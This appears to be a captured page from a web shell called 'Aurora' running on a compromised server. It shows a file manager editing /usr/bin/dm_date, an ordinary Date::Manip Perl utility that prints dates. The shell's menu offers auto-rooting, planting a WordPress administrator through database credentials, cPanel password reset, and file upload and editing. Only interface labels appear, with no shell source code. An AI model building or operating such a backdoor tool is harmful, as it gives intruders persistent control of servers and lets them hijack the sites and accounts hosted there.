Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
bin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: dm_date
#!/usr/bin/perl -w # Copyright (c) 2009-2021 Sullivan Beck. All rights reserved. # This program is free software; you can redistribute it and/or modify it # under the same terms as Perl itself. ############################################################################### ############################################################################### require 5.010000; use Date::Manip::Date; use IO::File; use strict; use warnings; ############################################################################### # HELP ############################################################################### our($usage); my $COM = $0; $COM =~ s/^.*\///; $usage= "usage: $COM OPTIONS -h/--help : Print help. Options to tell which date to print (only one of the following should be entered... if none are, 'now' is printed). -d/--date=STRING : Print information about that date. -f/--file=FILE : Print out each date (1/line) in FILE -r/--reference=FILE : Print out the last modification time of FILE Other options -R/--rfc-2822 : Print the date in RFC 2822 format (any +FORMAT string is ignored) Mon, 07 Aug 2006 12:34:56 -0600 -u/--utc/--universal: Converts date(s) to UT time. "; =pod =head1 NAME dm_date - print out the system date and time =head1 SYNOPSIS This performs the same operation as the unix 'date' command, but using the Date::Manip module. dm_date [OPTION]... [+FORMAT] =head1 DESCRIPTION This displays information about the current system time, or some other time. Options are: =over 4 =item -h, --help Print online help. =item -d STRING, --date=STRING Display time described by STRING. STRING can be any string which can be parsed by Date::Manip. Please refer to the Date::Manip::Date documentation for details. =item -f DATEFILE, --file=DATEFILE This reads each line in DATEFILE, and extracts a date from it and prints out the information. Blank lines and lines starting with a pound (#) are ignored. Lines not containing a valid date are also ignored. =item -r FILE, --reference=FILE Displays the last modification time of FILE. =item -R, --rfc-2822 Displayc the date and time in RFC 2822 format. Example: Mon, 07 Aug 2006 12:34:56 -0600 =item -u, --utc, --universal Converts the date to UT (GMT) and prints out the information. =back Only one of -d, -f, or -r should be included. If more than one is included, the first one from the list (-d, -f, -r) is used and any other is ignored. The format string starts with a plus (+) and contains any of the format directives described in Date::Manip::Date. =head1 KNOWN BUGS None known. =head1 BUGS AND QUESTIONS Please refer to the Date::Manip::Problems documentation for information on submitting bug reports or questions to the author. =head1 SEE ALSO Date::Manip::Date =head1 LICENSE This script is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 AUTHOR Sullivan Beck (sbeck@cpan.org) =cut ############################################################################### # PARSE ARGUMENTS ############################################################################### our($date,$file,$ref,$rfc,$ut,$format); while ($_ = shift) { (print $usage), exit if ($_ eq "-h" || $_ eq "--help"); $date = shift, next if ($_ eq "-d" || $_ eq "--date"); $date = $1, next if ($_ =~ /^\-\-date=(.*)/); $file = shift, next if ($_ eq "-f" || $_ eq "--file"); $file = $1, next if ($_ =~ /^\-\-file=(.*)/); $ref = shift, next if ($_ eq "-r" || $_ eq "--reference"); $ref = $1, next if ($_ =~ /^\-\-reference=(.*)/); $rfc = 1, next if ($_ eq "-R" || $_ eq "--rfc-2822"); $ut = 1, next if ($_ eq "-u" || $_ eq "--utc" || $_ eq "--universal"); $format = $_, last if ($_ =~ s/^\+//); die $usage; } if ($rfc) { $format ='%a, %d %b %Y %H:%M:%S %z'; } if (@ARGV || ! $format) { die $usage; } ############################################################################ # MAIN PROGRAM ############################################################################ my $d = new Date::Manip::Date; if ($date) { my $err = $d->parse($date); exit 1 if ($err); $d->convert("GMT") if ($ut); print $d->printf($format),"\n"; } elsif ($file) { my $in = new IO::File; $in->open($file) || die "ERROR: unable to open date file: $file\n\n$usage"; my @in = <$in>; $in->close(); chomp(@in); foreach my $date (@in) { $date =~ s/\#.*//; $date =~ s/\s*$//; next if (! $date); my $err = $d->parse($date); next if ($err); $d->convert("GMT") if ($ut); print $d->printf($format),"\n"; } } elsif ($ref) { if (-e $ref) { my $date = ( stat($ref) )[9]; my $err = $d->parse("epoch $date"); exit if ($err); $d->convert("GMT") if ($ut); print $d->printf($format),"\n"; } } else { my $err = $d->parse("now"); exit 1 if ($err); $d->convert("GMT") if ($ut); print $d->printf($format),"\n"; } # Local Variables: # mode: cperl # indent-tabs-mode: nil # cperl-indent-level: 3 # cperl-continued-statement-offset: 2 # cperl-continued-brace-offset: 0 # cperl-brace-offset: 0 # cperl-brace-imaginary-offset: 0 # cperl-label-offset: 0 # End: